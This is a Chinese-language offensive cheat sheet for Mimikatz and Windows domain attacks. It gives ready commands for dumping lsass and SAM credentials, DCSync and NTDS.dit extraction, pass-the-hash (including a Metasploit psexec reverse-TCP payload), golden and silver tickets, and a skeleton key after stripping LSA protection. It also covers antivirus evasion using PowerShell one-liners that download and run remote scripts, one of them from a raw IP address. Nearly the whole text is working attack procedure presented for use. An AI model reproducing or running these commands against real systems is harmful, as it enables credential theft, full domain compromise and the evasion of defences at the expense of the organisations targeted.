Mimikatz使用大全
0x00 簡介
Mimikatz 是一款功能強大的輕量級調試神器,通過它你可以提升進程權限注入進程讀取進程內存,當然他最大的亮點就是他可以直接從 lsass.exe 進程中獲取當前登錄系統用戶名的密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之後,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而 mimikatz 正是通過對lsass逆算獲取到明文密碼!也就是說只要你不重啟電腦,就可以通過他獲取到登陸密碼,只限當前登陸系統!
註:但是在安裝了KB2871997補丁或者係統版本大於windows server 2012時,系統的內存中就不再保存明文的密碼,這樣利用mimikatz就不能從內存中讀出明文密碼了。mimikatz的使用需要administrator用戶執行,administrators中的其他用戶都不行。
這裡放幾個神器的運行姿勢:九種姿勢運行:Mimikatz:https://www.freebuf.com/articles/web/176796.html
借用PowerShell
#讀取密碼明文(需要管理員權限) powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
#讀取密碼hash值(需要管理員權限) powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
0x01 獲取本地帳戶密碼
1.1 本地執行
下載mimikatz程序,找到自己系統對應的位數,右鍵以管理員身份運行:
#提升權限 privilege::debug #抓取密碼 sekurlsa::logonpasswords
當目標為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但可以通過修改註冊表的方式抓取明文。
cmd修改註冊表命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #重啟或用戶重新登錄後可以成功抓取
1.2 SAM表獲取hash
#導出SAM數據 reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM #使用mimikatz提取hash lsadump::sam /sam:SAM /system:SYSTEM
0x02 Procdump+Mimikatz
當mimikatz無法在主機上運行時,可以使用微軟官方發佈的工具Procdump導出lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
將lsass.dmp下載到本地後,然後執行mimikatz:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
為了方便複製與查看,可以輸出到本地文件裡面:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
0x03 讀取域控中域成員Hash
3.1 域控本地讀取
註:得在域控上以域管理員身份執行mimikatz
方法一:直接執行
#提升權限 privilege::debug 抓取密碼 lsadump::lsa /patch
方法二:通過 dcsync,利用目錄複製服務(DRS)從NTDS.DIT文件中檢索密碼哈希值,可以在域管權限下執行獲取:
#獲取所有域用戶 lsadump::dcsync /domain:test.com /all /csv #指定獲取某個用戶的hash lsadump::dcsync /domain:test.com /user:test
3.2 導出域成員Hash
域賬戶的用戶名和hash密碼以域數據庫的形式存放在域控制器的
%SystemRoot%\ntds\NTDS.DIT
文件中。
這裡可以借助:ntdsutil.exe,域控制器自帶的域數據庫管理工具,我們可以通過域數據庫,提取出域中所有的域用戶信息,在域控上依次執行如下命令,導出域數據庫:
#創建快照 ntdsutil snapshot "activate instance ntds" create quit quit #加載快照 ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit #Copy文件副本 copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
將ntds.dit文件拷貝到本地利用impacket腳本dump出Hash:
secretsdump.py -ntds.dit -system system.hive LOCAL
除了借助python,還有一個NTDSDumpEx(會被360查殺的哦):
工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -o domain.txt -s system.hiv (system.hive文件獲取:reg save hklm\system system.hive) NTDSDumpEx -d ntds.dit -o domain.txt -r (此命令適用於在域控本地執行)
最後記得卸載刪除快照:
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit ntdsutil snapshot "delete {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
3.3 secretsdump腳本直接導出域hash
為什麼要再提一遍secretsdump呢,因為它可以直接導出,說白了,簡單粗暴:
python secretsdump.py rabbitmask:123456@192.168.15.181
首先它會導出本地SAM中的hash,然後是所有域內用戶的IP,全部獲取成功
0x04 哈希傳遞攻擊PTH
4.1 工作組環境
當我們獲得了一台主機的NTLM哈希值,我們可以使用mimikatz對其進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。
#使用administrator用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
在彈出的cmd窗口,我們直接可以連接該主機,並且查看該主機下的文件夾。
或者可以直接將該主機的C盤映射到本地的K盤。
註:只能在 mimikatz 彈出的 cmd 窗口才可以執行這些操作,注入成功後,可以使用psexec、wmic、wmiexec等實現遠程執行命令。
4.2 域環境
在域環境中,當我們獲得了域內用戶的NTLM哈希值,我們可以使用域內的一台主機用mimikatz對域控進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。前提是我們必須擁有域內任意一台主機的本地 administrator 權限和獲得了域用戶的NTLM哈希值
域:xie.com
域控:WIN2008.xie.com
#使用域管理員administrator的NTLM哈希值對域控進行哈希傳遞攻擊 sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5
#使用域用戶xie的NTLM哈希值對域控進行哈希傳遞攻擊 sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9
4.3 MSF進行哈希傳遞
有些時候,當我們獲取到了某台主機的Administrator用戶的LM-Hash和 NTLM-Hash ,並且該主機的445端口打開著。我們則可以利用
exploit/windows/smb/psexec
漏洞用MSF進行遠程登錄(哈希傳遞攻擊)。(只能是administrator用戶的LM-hash和NTLM-hash),這個利用跟工作組環境或者域環境無關。
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 192.168.10.27 msf exploit(psexec) > set rhost 192.168.10.14 msf exploit(psexec) > set smbuser Administrator msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #這裡LM和NTLM我們已經獲取到了 msf exploit(psexec) > exploit
0x05 票據傳遞攻擊(PTT)
5.1 黃金票據
域中每個用戶的 Ticket 都是由 krbtgt 的密碼 Hash 來計算生成的,因此只要獲取到了 krbtgt 用戶的密碼 Hash ,就可以隨意偽造 Ticket ,進而使用 Ticket 登陸域控制器,使用 krbtgt 用戶 hash 生成的票據被稱為 Golden Ticket,此類攻擊方法被稱為票據傳遞攻擊。
首先獲取krbtgt的用戶hash:
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
利用 mimikatz 生成域管權限的 Golden Ticket,填入對應的域管理員賬號、域名稱、sid值,如下:
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
#導入剛才生成的票據 kerberos::ptt test.kiribi #導入成功後可獲取域管權限 dir \\dc.abc.com\c$
5.2 白銀票據
黃金票據和白銀票據的一些區別:Golden Ticket:偽造TGT,可以獲取任何 Kerberos 服務權限,且由 krbtgt 的 hash 加密,金票在使用的過程需要和域控通信
白銀票據:偽造 TGS ,只能訪問指定的服務,且由服務賬號(通常為計算機賬戶)的 Hash 加密 ,銀票在使用的過程不需要同域控通信
#在域控上導出 DC$ 的 HASH mimikatz log "privilege::debug" "sekurlsa::logonpasswords" #利用 DC$ 的 Hash製作一張 cifs 服務的白銀票據 kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt #cifs是指的文件共享服務,有了 cifs 服務權限,就可以訪問域控制器的文件系統 dir \\DC.ABC.COM\C$
5.3 skeleton key
skeleton key(萬能鑰匙)就是給所有域內用戶添加一個相同的密碼,域內所有的用戶 都可以使用這個密碼進行認證,同時原始密碼也可以使用,其原理是對 lsass.exe 進行注 入,所以重啟後會失效。
#在域控上安裝 skeleton key mimikatz.exe privilege::debug "misc::skeleton" #在域內其他機器嘗試使用 skeleton key 去訪問域控,添加的密碼是 mimikatz net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator
微軟在 2014 年 3 月 12 日添加了 LSA 爆護策略,用來防止對進程 lsass.exe 的代碼注入。如果直接嘗試添加 skelenton key 會失敗。
#適用系統 windows 8.1 windows server 2012 及以上
當然 mimikatz 依舊可以繞過,該功能需要導入mimidrv.sys文件,導入命令如下:
privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton
5.4 MS14-068
當我們拿到了一個普通域成員的賬號後,想繼續對該域進行滲透,拿到域控服務器權限。如果域控服務器存在 MS14_068 漏洞,並且未打補丁,那麼我們就可以利用 MS14_068 快速獲得域控服務器權限。
MS14-068編號 CVE-2014-6324,補丁為 3011780 ,如果自檢可在域控制器上使用命令檢測。
systeminfo |find "3011780" #為空說明該服務器存在MS14-068漏洞
操作鏈接:MS14-068復現(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html
0x06 其他
6.1 使用mimikatz導出chrome中的密碼
詳情請見:鏈接
6.2 隱藏功能
管理員常常會禁用一些重要程序的運行,比如cmd、regedit、taskmgr,此時不方便滲透的進一步進行,這裡除了去改回原來的配置,還可以借助mimikatz的一些功能:
privilege::debug misc::cmd misc::regedit misc::taskmgr
6.3 免殺處理
Powersploit中提供的很多工具都是做過加密處理的,同時也提供了一些用來加密處理的腳本,Out-EncryptedScript就是其中之一。
首先在本地對Invoke-Mimikatz.ps1進行加密處理:
poweshell.exe Import-Module .\Out-EncryptedScript.ps1 poweshell.exe Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password 密碼 -Salt 隨機數 #默認生成的文件是evil.ps1 -Password 設置加密的密鑰 -Salt 隨機數,防止被暴力破解
將加密生成的evil.sp1腳本放在目標機上,執行如下命令:
#遠程加載解密腳本 poweshell.exe IEX(New-Object Net.WebClient).DownloadString("http://1.1.1.32/PowerSploit/ScriptModification/Out-EncryptedScript.ps1") [String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de password salt Invoke-Expression $decrypted Invoke-Mimikatz
0x07 參考鏈接
https://3gstudent.github.io/3gstudent.github.io/
https://blog.csdn.net/dda6607/article/details/101262101
https://blog.csdn.net/qq_36119192/article/details/83057161
https://blog.csdn.net/qq_36119192/article/details/100634467